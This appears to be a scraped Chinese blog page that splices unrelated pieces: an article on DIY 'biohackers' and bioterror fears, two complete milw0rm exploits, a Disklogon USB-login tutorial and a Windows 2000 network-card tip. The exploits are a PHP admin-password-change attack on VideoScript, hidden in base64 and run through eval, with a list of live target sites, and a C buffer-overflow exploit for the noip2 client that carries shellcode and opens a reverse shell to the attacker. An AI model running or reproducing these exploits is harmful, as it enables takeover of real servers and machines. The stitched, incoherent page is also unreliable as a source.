Chinadu's Blog

20多年前,曾有人预言生物革命将成为21世纪的时代特征。当时还有观点认为,这一革命对社会伦理的冲击尤其值得关注。现在,克隆生物对社会伦理的冲击波犹在,而伴随着生物学的进步和普及,“生物黑客”也要来了。对于生物黑客,目前网络媒体和专业论坛对其别称不少:生物崩客,自己动手(DIY)生物学家,车库生物学家……这些名称除了含有像电脑黑客一样的反叛精神外,还反映出现代生物学一些重要的新特征:即生物科学的神秘性日益被打破,生物科学的普及也日渐广泛。最值得注意的是:生物学及生物工程的成本日益降低, 生物学界的爱因斯坦可能像科幻大片中描述的那样:随时从邻居家的车库里走出来。


7月15日，北京举行生物恐怖袭击现场处置与医疗救援应急演练，参加演练人员对“重伤员”进行紧急救治。此次演练模拟恐怖分子在某电影院里使用不明物质实施生物恐怖袭击，市卫生局接警后立即启动处置生物恐怖袭击事件应急预案，参加演练人员完成了事发现场划定和封控、暴露人员疏散、流行病学调查等课目的演练。

谈及黑客,人们很可能想起网络黑客。但多数生物黑客们宣称:他们的行动宗旨不是制造麻烦,而是为了防止出现技术被少数专业人士所掌握而形成的垄断操纵。因此,他们主要是通过网络及其他手段来普及现代生物学知识。生物黑客们在网上教人们如何从菠萝里提取基因,还教人们如何以低廉价格从水、酒精中提取基因,甚至告诉人们如何网购低价的实验仪器,并利用这些仪器进行从简单到复杂的基因工程。


有人预告,生物黑客将会以业余爱好者身份在自家车库造出我们现今还无法知晓的生物新物种或者说是怪物。他们虽然是业余爱好者,但他们中可能有许多都毕业于哈佛之类的名校,甚至还可能是某些知名的科学人士。平时他们可能以智库成员的身份出现在自己的工作单位,业余时间则按自己的理想或幻想搞生物实验。


美国有家网站叫做“开放湿件”(即“开放思想库”)平台,许多基因工程科学家或者爱好者将自己的研究成果公布在网上。据说,任何一个有些基本生物学知识的人,都可以按自己的想法借鉴上面的知识和技能来组装自己设想的生物物种或器官。前者就像是造“生物砖”的人,后者则是用“生物砖”完成生物工程的设计组装人员。甚至有人预测,未来的儿童不是搭普通的积木,而是按自己的幻想设计搭 “生物积木”,做出自己喜欢的任何物种。甚至未来的智力竞赛也可能是以新物种、或者新器官的设计为竞赛内容。有科学家已经在设想生产出一种专门制造“生物砖”的三维打印机来简化基因工程的工艺流程。


对于生物黑客群体的估计,有报道称,目前世界上至少有10万人能制造炭疽病菌。面对数量如此庞大、能力如此之强的生物工程学爱好者,以及生物工程学和基因知识的普及,人们不免会产生许多担忧:谁能保证这么多人中间不出一个恐怖分子?即使没有恐怖分子,谁又能保证没有人将自己的知识传授给恐怖分子?

<?php
  /* 
  ==============================================================================
              _      _       _          _      _   _ 
             / \    | |     | |        / \    | | | |
            / _ \   | |     | |       / _ \   | |_| |
                 / ___ \  | |___  | |___   / ___ \  |  _  |
             IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                 

  ==============================================================================
              ____   _  _     _   _    ___    _  __
             / ___| | || |   | \ | |  / _ \  | |/ /
            | |  _  | || |_  |  \| | | | | | | ' / 
            | |_| | |__   _| | |\  | | |_| | | . \ 
             \____|    |_|   |_| \_|  \___/  |_|\_\

  ==============================================================================
    VideoScript <= 4.0.1.50 Admin Change Password Exploit
  ==============================================================================

    [»] Script:             [ VideoScript <= 4.0.1.50 ]
    [»] Language:           [ PHP ]
    [»] Website:            [ http://videoscript.co.uk/ ]
    [»] Type:               [ Commercial ]
    [»] DOD:                [ 15.11.2008 ]
    [»] Founder.Coder:      [ G4N0K <mail.ganok[at]gmail.com> ]


  ===[ XPL ]===
                                          */

error_reporting(E_ALL);
   $G4N0K = "JEc0TjBLID0gPDw8RU9HDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
      "PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiAgICAgICAgICAgICAgICAg".
      "ICAgICBfICAgICAgXyAgICAgICBfICAgICAgICAgIF8gICAgICBfICAgXyANCiAgICAgICAgICAg".
      "ICAgICAgICAgIC8gXCAgICB8IHwgICAgIHwgfCAgICAgICAgLyBcICAgIHwgfCB8IHwNCiAgICAg".
      "ICAgICAgICAgICAgICAgLyBfIFwgICB8IHwgICAgIHwgfCAgICAgICAvIF8gXCAgIHwgfF98IHwN".
      "CiAgICAgICAgICAgICAgICAgICAvIF9fXyBcICB8IHxfX18gIHwgfF9fXyAgIC8gX19fIFwgIHwg".
      "IF8gIHwNCiAgIElOIFRIRSBOQU1FIE9GIC9fLyAgIFxfXCB8X19fX198IHxfX19fX3wgL18vICAg".
      "XF9cIHxffCB8X3wNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg".
      "ICAgICAgICAgICAgICAgICANCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
      "PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQogICAgICAgICAgICAg".
      "ICAgICAgICAgX19fXyAgIF8gIF8gICAgIF8gICBfICAgIF9fXyAgICBfICBfXw0KICAgICAgICAg".
      "ICAgICAgICAgICAgLyBfX198IHwgfHwgfCAgIHwgXCB8IHwgIC8gXyBcICB8IHwvIC8NCiAgICAg".
      "ICAgICAgICAgICAgICAgfCB8ICBfICB8IHx8IHxfICB8ICBcfCB8IHwgfCB8IHwgfCAnIC8gDQog".
      "ICAgICAgICAgICAgICAgICAgIHwgfF98IHwgfF9fICAgX3wgfCB8XCAgfCB8IHxffCB8IHwgLiBc".
      "IA0KICAgICAgICAgZVhwbG8hdCBCeSAgXF9fX198ICAgIHxffCAgIHxffCBcX3wgIFxfX18vICB8".
      "X3xcX1wNCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
      "PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoJVmlkZW9TY3JpcHQgPD0gNC4wLjEuNTAg".
      "QWRtaW4gQ2hhbmdlIFBhc3N3b3JkIEV4cGxvaXQNCj09PT09PT09PT09PT09PT09PT09PT09PT09".
      "PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQpF".
      "T0c7DQplY2hvICI8cHJlPiIuJEc0TjBLLiI8L3ByZT4iOw0KJEZPUk0gPSAiPEZPUk0gYWN0aW9u".
      "PVwiIi4kX1NFUlZFUlsiUEhQX1NFTEYiXS4iXCIgbWV0aG9kPVwiUE9TVFwiPiI7JEZPUk0uPSA8".
      "PDxGRkYNCiAgICA8UCBzdHlsZT0id2lkdGg6IDMwMHB4O2NsZWFyOiBsZWZ0O21hcmdpbjogMDtw".
      "YWRkaW5nOiA1cHggMCA4cHggMDtwYWRkaW5nLWxlZnQ6IDE1NXB4O2JvcmRlci10b3A6IDFweCBk".
      "YXNoZWQgZ3JheTsiPg0KICAgIDxMQUJFTCBzdHlsZT0iZm9udC13ZWlnaHQ6IGJvbGQ7ZmxvYXQ6".
      "IGxlZnQ7bWFyZ2luLWxlZnQ6IC0xNTVweDt3aWR0aDoxNTBweDsiIGZvcj0iTVNER05LIj4gV2Vi".
      "c2l0ZSA6Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i".
      "c3A7Jm5ic3A7Jm5ic3A7aHR0cDovLzwvTEFCRUw+DQogICAgICAgICAgICAgIDxJTlBVVCBzdHls".
      "ZT0id2lkdGg6IDE4MHB4OyIgdHlwZT0idGV4dCIgbmFtZT0iTVNER05LIiBpZD0iTVNER05LIj48".
      "YnIgLz4NCiAgICA8TEFCRUwgc3R5bGU9ImZvbnQtd2VpZ2h0OiBib2xkO2Zsb2F0OiBsZWZ0O21h".
      "cmdpbi1sZWZ0OiAtMTU1cHg7d2lkdGg6MTUwcHg7IiBmb3I9IlBBVEgiPlBhdGg6ICggL3Njcmlw".
      "dC8gKTwvTEFCRUw+DQogICAgICAgICAgICAgIDxJTlBVVCBzdHlsZT0id2lkdGg6IDE4MHB4OyIg".
      "dHlwZT0idGV4dCIgbmFtZT0iUEFUSCIgaWQ9IlBBVEgiIHZhbHVlPSIvIj48QlI+DQogICAgPFA
g".
      "c3R5bGU9IndpZHRoOiAzMDBweDtjbGVhcjogbGVmdDttYXJnaW46IDA7cGFkZGluZzogNXB4IDAg".
      "OHB4IDA7cGFkZGluZy1sZWZ0OiAxNTVweDtib3JkZXItdG9wOiAxcHggZGFzaGVkIGdyYXk7Ij4N".
      "Cgk8TEFCRUwgc3R5bGU9ImZvbnQtd2VpZ2h0OiBib2xkO2Zsb2F0OiBsZWZ0O21hcmdpbi1sZWZ0".
      "OiAtMTU1cHg7d2lkdGg6MTUwcHg7IiBmb3I9Im5wdyI+IE5ldyBQYXNzd29yZCA6IDwvTEFCRUw+".
      "DQogICAgICAgICAgICAgIDxJTlBVVCBzdHlsZT0id2lkdGg6IDE4MHB4OyIgdHlwZT0idGV4dCIg".
      "bmFtZT0ibnB3IiBpZD0ibnB3Ij48QlI+DQoJPFAgc3R5bGU9IndpZHRoOiAzMDBweDtjbGVhcjog".
      "bGVmdDttYXJnaW46IDA7cGFkZGluZzogNXB4IDAgOHB4IDA7cGFkZGluZy1sZWZ0OiAxNTVweDti".
      "b3JkZXItdG9wOiAxcHggZGFzaGVkIGdyYXk7Ij4NCiAgICA8SU5QVVQgdHlwZT0ic3VibWl0IiBu".
      "YW1lPSJzdWJtaXQiIHZhbHVlPSJDaGFuZ2UgaXQhIj4gPElOUFVUIHR5cGU9InJlc2V0Ij4NCiAg".
      "ICA8L1A+DQogPC9GT1JNPg0KRkZGOw0KaWYgKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pICYmIGlz".
      "c2V0KCRfUE9TVFsiTVNER05LIl0pICYmICFlbXB0eSgkX1BPU1RbIk1TREdOSyJdKSAmJiBpc3Nl".
      "dCgkX1BPU1RbJ25wdyddKSAmJiAhZW1wdHkoJF9QT1NUWyducHcnXSkgJiYgaXNzZXQoJF9QT1NU".
      "WyJQQVRIIl0pICYmICFlbXB0eSgkX1BPU1RbIlBBVEgiXSkpIHskbmV3X3B3ZCA9ICRfUE9TVFsn".
      "bnB3J107JHRlaGRhZGVfY2hhcnogPSBzdHJsZW4odXJsZW5jb2RlKCRuZXdfcHdkKSkgKiAyICsg".
      "Mjg7JGpva2U9IlBPU1QgIi4kX1BPU1RbIlBBVEgiXS4iYWRtaW4vY3AucGhwIEhUVFAvMS4xXHJc".
      "bkhvc3Q6ICIuJF9QT1NUWyJNU0RHTksiXS4iXHJcblVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChX".
      "aW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOSkgR2Vja28vMjAwODA1Mjkw".
      "NiBGaXJlZm94LzMuMFxyXG5LZWVwLUFsaXZlOiAzMDBcclxuQ29ubmVjdGlvbjoga2VlcC1hbGl2".
      "ZVxyXG5Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG5D".
      "b250ZW50LUxlbmd0aDogIi4kdGVoZGFkZV9jaGFyei4iXHJcblxyXG5ucGFzcz0iLiRuZXdfcHdk".
      "LiImbnBhc3MxPSIuJG5ld19wd2QuIiZTdWJtaXQ9U3VibWl0XHJcbiI7JHJlcz0iIjskYXR0YWNr".
      "ID0gZnNvY2tvcGVuKCRfUE9TVFsiTVNER05LIl0sIjgwIiwkZXJybm8sICRlcnJzdHIsIDUwKTtp".
      "ZighJGF0dGFjayl7ZWNobygiPGJyIC8+V1RGLCBlcnIjOiAoJGVycm5vKS4kZXJyc3RyIik7cmV0".
      "dXJuO31lY2hvKCI8c3BhbiBzdHlsZT1cImZvbnQ6bm9ybWFsIDhwdCB0YWhvbWE7XCI+Jm5ic3A7".
      "Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7WytdIDxiPkNvbm5lY3RlZC4uLjxici8+PC9iPiZuYnNw".
      "OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO1srXSA8Yj5TZW5kaW5nIHJlcXVlc3QuLi48YnIvPjwv".
      "Yj4iKTtmd3JpdGUoJGF0dGFjaywkam9rZSk7d2hpbGUoIWZlb2YoJGF0dGFjaykpeyRyZXMuPWZn".
      "ZXRzKCRhdHRhY2spO31mY2xvc2UoJGF0dGFjayk7aWYgKHN0cmlzdHIoJHJlcywgInNhdmVkIikg".
      "fHwgc3RyaXN0cigkcmVzLCAiY2hhbmdlZCIpKXtlY2hvICImbmJzcDsmbmJzcDsmbmJzcDsmbmJz".
      "cDsmbmJzcDtbK108Yj4gRXhwbG9pdGVkICEgLCA8Zm9udCBjb2xvcj1cInJlZFwiPlBhc3N3b3Jk".
      "IGNoYW5nZWQuLi48L2I+PC9mb250PjxiciAvPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw".
      "O1srXSAuLi48YnIgLz4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtbK10gPGI+bmV3IHBh".
      "c3N3b3JkOjwvYj4gIi4kbmV3X3B3ZC4iPGJyIC8+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i".
      "c3A7WytdPGI+IGFkbWluIHBhbmVsOjwvYj4gaHR0cDovLyIuJF9QT1NUWyJNU0RHTksiXS4kX1BP".
      "U1RbIlBBVEgiXS4iYWRtaW4vPGJyIC8+PGJyIC8+PGJyIC8+PGJyIC8+PGJyIC8+PGJyIC8+PGJy".
      "IC8+PHNwYW4gc3R5bGU9XCJmb250Om5vcm1hbCA4cHQgdGFob21hO2NvbG9yOiNDQ0M7XCI+RXhw".
      "bG9pdCBCeSBHNE4wSy4uLjwvc3Bhbj4iO30gZWxzZSB7IGVjaG8gIiZuYnNwOyZuYnNwOyZuYnNw".
      "OyZuYnNwOyZuYnNwO1srXTxiPiBPb3BzICwgIHNyeSAsICA8dT5ub3QgVnVsbmVyYWJsZTwvdT4g".
      "LiAuIC4gITwvYj4iO31mbHVzaCgpO31lbHNle2VjaG8kRk9STTt9DQo=";
  eval(base64_decode($G4N0K));

/* ===[ LIVE ]===

  [»] www.xxxuploads.co.uk
  [»] www.gayphp.com
  [»] ...

  
===[ Greetz ]===

  [»] ALLAH
  [»] Tornado2800 <Tornado2800[at]gmail.com> // bedone in nemishe :D
  [»] Hussain-X <darkangel_g85[at]yahoo.com> // Jazakallah...
  [»] Str0ke //Hey Brotha keep rocking on ;)
  [»] Soudi-L0rd,Sakab...
  [»] SMN,MSD-KiD,AMD,MSN...

  Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
  ALLAH,forgimme...
 */
?>

# milw0rm.com [2008-11-17]


/*
     _  __                 __  ___      __       
    | |/ /__  ____  ____  /  |/  /_  __/ /_____ _
    |   / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
   /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ / 
  /_/|_\___/_/ /_/\____/_/  /_/\__,_/\__/\__,_/  

  xenomuta [ arroba ] phreaker [ punto ] net
  http://xenomuta.tuxfamily.org/ - Methylxantina 256mg

  Permlink:
  http://xenomuta.tuxfamily.org/exploits/noIPwn3r.c
  
  ** noIPwn3r **
  Exploit 0-day para el cliente DDNS noip-2.1.7 de linux 

  Vulnerable: noip2-Linux <= 2.1.7 
  probado v.s. la version pre-compilada del cliente en
  Ubuntu 7.10, Slackware 10.2 y Centos 4.5

  probablemente la version 64bits tambien es vulnerable.

  El programador confia a ciegas en la respuesta del servidor
  y plago el codigo de variables estaticas sin chequeo de size...
  Con un DNS envenenado o MITM podemos darle mambo.

  saludos a:
   4rd3b4r4n, kakata, garay, str0ke y fr1t0l4y

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <assert.h>

#define HTTP_OK "HTTP/1.1 200 OK\r\n\r\n"
#define NOIP_PORT 8245
#define u_char unsigned char

/* Offsets del shellcode x version
*  ( ubicalo aproximado con gdb, info addr buffer+32 )
*/
struct OFFSET {
  char ver[7];
  u_char offset[4];
  int padding;
} victima[] = {
  "custom", "\xff\xff\xff\xff", 162,
  "2.1.7", "\x5d\x1f\x05\x08", 162,
  "2.1.3", "\x5f\x12\x05\x08", 162,
  "2.1.1", "\xdd\x14\x05\x08", 138,
  "\x00", "\x00", 0 };


/* Una cacarita pa que rebale por si acaso */
char guineo[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90" 
  "\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90" 
  "\x90\x90\x90\x90\x90\x90\x90\x90";

char shellcode[] =
// Connect-back IP:puerto - Creditos para izik de tty64.org
  "\xb0\x17\x31\xdb\xcd\x80\x6a\x66"
  "\x58\x99\x6a\x01\x5b\x52\x53\x6a"
  "\x02\x89\xe1\xcd\x80\x5b\x5d\xbe"
  "\x80\xff\xff\xfe\xf7\xd6\x56\x66"
  "\xbd\x69\x7a\x0f\xcd\x09\xdd\x55"
  "\x43\x6a\x10\x51\x50\xb0\x66\x89"
  "\xe1\xcd\x80\x87\xd9\x5b\xb0\x3f"
  "\xcd\x80\x49\x79\xf9\xb0\x0b\x52"
  "\x68\x2f\x2f\x73\x68\x68\x2f\x62"
  "\x69\x6e\x89\xe3\x52\x53\xeb\xdf";

int uso () {
 fprintf(stderr, "Uso:\n ./noIPwn3r <ip escucha> <puerto escucha> [ 0xOFFSET ]\n\n");
 fprintf(stderr, " Especifique el IP y puerto donde desea el shell reverso\n");
 fprintf(stderr, " Puede usar un Offset arbitrario,\n - ejemplo: 0x08050c20 para la version 2.1.1 compilada en Redhat con gcc 3.4.6-9\n" );
 fprintf(stderr, " Si no asigna el offset se usaran los de las versiones oficiales pre-compiladas.\n\n");
 return -1;
}

void revshell(int sock, char *ip) {
  char *buf;
  int flags, i;
  long l;
  
  buf = (char *)malloc(1024);
  
  for (i = 0; i <= sock; i++) {
    flags = fcntl(i,F_GETFL,0);
    assert(flags != -1);
    fcntl(i, F_SETFL, flags | O_NONBLOCK);    
  }
  
  while (1) {
    memset(buf, 0, 1024);
    if ((buf[0] = getchar()) > 0) {
      if ((send(sock, buf, strlen(buf), 0)) < 1) {
        break;
      }
    }

    memset(buf, 0, 1024);    
    if (recv(sock, buf, 1024, 0) > 0) { 
      write(1, buf, strlen(buf), 0);
      fflush(stdout);
      i = 1;
    } else if (i) {
      i = 0;
      printf("\nnoIPwn3r@%s$ ", ip);
      fflush(stdout);
    }
  }
  printf ("\n-= ADIOS =-\n");
  return;
}


int main (int argc, char **argv) {
  char *xploit, *ver, *hexmap;
   u_char custom[4];
  int i, v = 0, port;

  // Payola 
  printf("\n noIPwn3r - xploit para noip-2.1.x linux\n");
  printf("     _  __                 __  ___      __\n");
  printf("    | |/ /__  ____  ____  /  |/  /_  __/ /_____ _\n");
  printf("    |   / _ \\/ __ \\/ __ \\/ /|_/ / / / / __/ __ `/\n");
  printf("   /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ / \n");
  printf("  /_/|_\\___/_/ /_/\\____/_/&nb
sp; /_/\\__,_/\\__/\\__,_/\n\n");
  printf("  http://xenomuta.tuxfamily.org - xenomuta%cphreaker.net\n\n", '@');

  if (argc < 3)
    return uso();

  memset(custom, 0, 4);
  if (argv[3]) {
    if ((strlen(argv[3]) < 10) || (strncmp(argv[3],"0x", 2)))
      return fprintf(stderr, "Offset Invalido. Utilize el formato 0x<HEX x 8>\n");

    hexmap = (char *)malloc(16);
    memset(hexmap, 0, 16);
    strcpy(hexmap, "0123456789ABCDEFabcdef");
    for (i = 2; i < 10; i++)
      if (!strchr(hexmap, argv[3][i]))
        return fprintf(stderr, "Offset Invalido. Utilize el formato 0x<HEX x 8>\n");
    for (i = 0; i < 4; i++) {
      custom[i] = (strchr(hexmap, (argv[3][8-(2*i)] >= 0x61)?argv[3][8-(2*i)] - 32:argv[3][8-(2*i)]) - hexmap) * 16;
      custom[i] += (strchr(hexmap, (argv[3][9-(2*i)] >= 0x61)?argv[3][9-(2*i)] - 32:argv[3][9-(2*i)]) - hexmap);
    }
    strncpy((char *)&victima[0].offset, (char *)&custom, 4);
  }

  port = atoi(argv[2]);
  if ((port < 0)||(port>65535))
    return fprintf(stderr, "ERROR: puerto debe ser >= 1 <= 65535\n");

  // sockets servidor / cliente
  int s, c, len = 16, on = 1;  
  struct sockaddr_in sa, ca; 

  sa.sin_addr.s_addr = 0;
  sa.sin_port = htons(NOIP_PORT);
  sa.sin_family = AF_INET;
  s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));

  if (bind(s, (struct sockaddr *)&sa, len)) {
    fprintf(stderr, "ERROR: bind()\n");
    exit(-1);
  }
  if (listen(s, 5)) {
    fprintf(stderr, "ERROR: listen()\n");
    exit(-1);
  }
  
  // Una IP random cualquiera para forzar el cliente a hacer un update
  printf("* Esperando que pregunte cual es su IP...");
  fflush(stdout);
  c = accept(s, (struct sockaddr *)&ca, (socklen_t *)&len);
  printf("OK:\n  - Conexion desde %s:%d\n\n", inet_ntoa(ca.sin_addr), ca.sin_port);

  xploit = (char *)malloc(1024); memset(xploit, 0, 1024);
  sprintf(xploit, "%s1.2.%d.%d", HTTP_OK, ((getpid() << 16)%254), (getpid()%254));

  // Averigua la version del Cliente
  ver = (char *)malloc(1024);
  memset(ver, 0, 1024);
  recv(c, ver, 1024, 0);

  if (!(ver = strstr(ver, "/2") + 1)) {  // User-Agent: Linux-DUC/2.X.X
    close(c);
    close(s);
    return fprintf(stderr, "\nERROR: Veriosn no encontrada\n");
  }
  
  memset(ver+5, 0, 1);
  
  // Busca los offset de esta version
  for (v = 0; (!argv[3]) && strlen(victima[v].ver); v++)
    if(!strcmp(victima[v].ver, ver)) break;

  if (!victima[v].ver) {
    close(c);
    close(s);
    return fprintf(stderr, "\nERROR: Veriosn no encontrada\n");
  }

  send(c, xploit, strlen(xploit), 0);
  close(c);

  // Ahora el fuetazo   >;)
  printf("* Preparando Exploit v.s. %s @ ", ver);  
  printf("0x%02x%02x%02x%02x\n", victima[v].offset[3], victima[v].offset[2], victima[v].offset[1], victima[v].offset[0]);

  // Setea el puerto en el Shellcode
  shellcode[34] = (char )((port >> 8) & 0xff);
  shellcode[33] = (char )(port & 0xff);

  // Setea la IP de retorno en el Shellcode
  unsigned long backip = (inet_addr(argv[1]) ^ 0xffffffff);
  *(unsigned long *)(((shellcode)+24)) = (backip);

  // Prepara el HTTP reply  
  memset(xploit, 0, 1024);
  sprintf(xploit, "%s<domain =:%s%s", HTTP_OK, guineo, shellcode);

  // Completa con basura pal' relleno
  for (i = 0; i < victima[v].padding; i++)
    strcat(xploit, "\x41"); 

  // Finalmente, trukeame el %EIP
  strcat(xploit, (char *)&victima[v].offset);
  
  printf("* Esperando la conexion de update...");
  fflush(stdout);
  c = accept(s, (struct sockaddr *)&ca, (socklen_t *)&len);
  printf("OK:\n  - Conexion desde %s:%d\n\n", inet_ntoa(ca.sin_addr), ca.sin_port);
  send(c, xploit, strlen(xploit), 0);
  close(c);
  close(s);
  printf("* Exploit Enviado!!\n\n");

  sa.sin_addr.s_addr = 0;
  sa.sin_port = htons(port);
  sa.sin_family = AF_INET;
  s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));

  if (bind(s, (struct sockaddr *)&sa, len)) {
    fprintf(stderr, "ERROR: bind()\n");
    exit(-1);
  }
  if (listen(s, 5)) {
    fprintf(stderr, "ERROR: listen()\n");
    exit(-1);
  }
  
  // Una IP random cualquiera para forzar el cliente a hacer un update
 &nb
sp;printf("* Esperando el shell en %s:%d: ", argv[1], port);
  fflush(stdout);
  c = accept(s, (struct sockaddr *)&ca, (socklen_t *)&len);
  // dup2 y NONBLOCK
  printf("OK:\n  - Conexion desde %s:%d\n\n", inet_ntoa(ca.sin_addr), ca.sin_port);
  printf("noIPwn3d!!!!\n\n", inet_ntoa(ca.sin_addr), ca.sin_port);
  revshell(c, inet_ntoa(ca.sin_addr));
  close(c);
  close(s);
}

// milw0rm.com [2008-11-18]


U盘 如今可以说非常普及了，不过，如果只是把它用来存储数据的话，也许有点可惜了。其实，我们还可以让U盘发挥更大的能量！今天小编教你一招，能让你的U盘代 替登录系统的密码，只有当你插上U盘才能正常进入系统操作，否则任何操作都无法进入系统。怎么样，是不是很有兴趣一试？
要想成功实现上述功能，我们需要借助名为Disklogon的小工具，它是一个功能强大的安全设置工具，可让我们使用优盘、软盘等移动设备来登录系统，可在登录时免于输入用户名和登录密码；而一旦移走了这些设备，系统便可以设置为自动锁定或关机。下面就来看看如何设置让优盘变成控制登录系统的“密钥盘”。
点击进入Disklogon下载页面

完成软件安装之后按要求重新启动，之后在进入系统的画面中单击“Password”按钮，然后使用键盘输入密码登录（如果之前设置了使用密码登录的话）。但我们是不希望每次都这样繁琐的，下面就来设置一下让优盘发挥更强大的功能，让它直接来控制系统登录。

直接开始菜单中单击“Disklogon Options”进入设置界面，随后依次执行如下步骤设定:

Step1：依次执行“Options/Disklogon/Disks”操作，窗口右侧中默认将所有的盘符都勾选了，但我们只希望用优盘来作为密钥盘，所以只勾选优盘的盘符（例如笔者的为L:）。

Step2：单击窗口左侧的“Options/DiskLogon/General”分支，接下来，我们要在右侧设置有优盘和无优盘时的不同操作：

1.在“Disk removal behavior”下拉列表框中选择“Lock computer when the disk is removed”（当磁盘被取出后将电脑锁定），这样当优盘被拔除后系统就自动锁定了；如果想在拔除优盘后自动注销，则可选择“Log off when the disk is removed”。

2.在“Log on to Windows”下拉列表框中选择“Log on when disk is connected”（当链接有优盘时自动登录系统），这样，如果在开机后没有连接优盘，则不能进入系统。

3.在“Unlock computer”下拉列表框中选择“Unlock computer when the disk is connected”（当连上优盘时自动解除对系统的锁定）。

小贴士：默认情况下，系统登录时，如果没有没有连接优盘，用户可点击 “Cancel”然后手工输入用户名和密码来进入系统。但为了增强安全性，去掉“Allow users to type their usename and password to log on or unlock computer”（允许用户输入用户名和密码来登录或解锁系统）选项！如此一来没有优盘插入就无法登陆系统了。

控制系统登录之 创建登录信息

Step3：完成上述设置后，我们就可以进行最后一步设置了，即登录系统解锁时所用的用户名和密码。点击进入“User Accounts”标签，随后点击“Change Logon information”区域处的“Change”按钮，进入用户名、密码创建界面（图2）。具体步骤：在“Step1”区域选择当前系统中正在使用的U 盘，接着点击“Step2”区域选择某ID号（如01），此时“Create New”将呈现可用状态，点击该按钮，并在随后的弹出窗口中输入用户名及密码即可。

如果希望用加密算法对登录信息进行加密，可勾选对话框中的“Encrypt this logon information with strong encryption algorithm”选项。添加完成后单击“close”按钮返回主窗口。

小贴士：设置了登录用户名和密码后，优盘根目录下会生成一个名为logon.dln的文件，这个文件不能删除！否则，下次重新启动时即使你插上了优盘，也会因为系统不能读取“指纹”而导致进不了系统！

至此，所有相关设置已经完成，现在你的U盘就已经是密钥盘了。在没有连接优盘的情况下根本是无法进入系统的；而在系统使用中途，如果将优盘拔除，系统便会自动锁定—单击对话框中的“Unlock”也是无效的，除非再次将优盘连接到电脑中。目前软件只支持Windows 2000/XP/2003系统。

适用范围: Windows 2000 各版 Windows XP 各版

　　问题:因为网卡坏了，所以我换了一片新的网卡，但是我要设定 IP的时候，却出现一个错误讯息，说是我所输入的IP已经指定给我旧的的网卡使用，要我设定另一个IP给我新的网卡，可是旧的网卡明明已经从计算机上拆掉了，要怎样才能彻底移除这个旧的网卡呢?我的操作系统是 Windows 2000。

　　回答:在 Windows 2000 下，要利用「添加/删除硬件」的功能，来删除没有用、已经不存在的网卡。

　　方法

　　一: 到「控制面板」，选择「添加/删除硬件」，进入添加/删除硬件之后，照画面指示按「下一步」，选择「删除安装」 按下一步，选择「删除安装装置」，按「下一步」接着会出现装置清单，在清单中找看看有没有你的旧的网卡(记得要勾起显示隐藏的装置那个选项)，有的话，选了之后按下一步照画面指示动作进行。 如果在这里仍然看不到你已经拆掉的那张网卡，请继续方法二。

　　二: 按开始，到执行，输入 cmd 按确定(以便快速进入命令模式，注二) 输入以下指令后，按 ENTER 键，这是让装置管理员显示已安装但是目前不在机器上的装置。。 set devmgr_show_nonpresent_devices=1 这个设定，是设定一个环境变量，有了这个环境变量(devmgr_show_nonpresent_devices)，装置管理员就可以去显示已经安装的设备，而这个设备是目前并不在机器上的东西。因为这是在 command 模式下利用 SET 建立的环境变量，只是暂时的，所以只对此次有效，下次开机就会从内存消失，因此你不用担心如此的设定会无法恢复原状的问题。输入 start devmgmt.msc，这是启动装置管理员的意思。 到「检视」，选「显示隐藏装置」 展开「网络适配卡」这一项，去找你之前移除的网卡，找到之后，在其上按鼠标右键选「删除安装」。

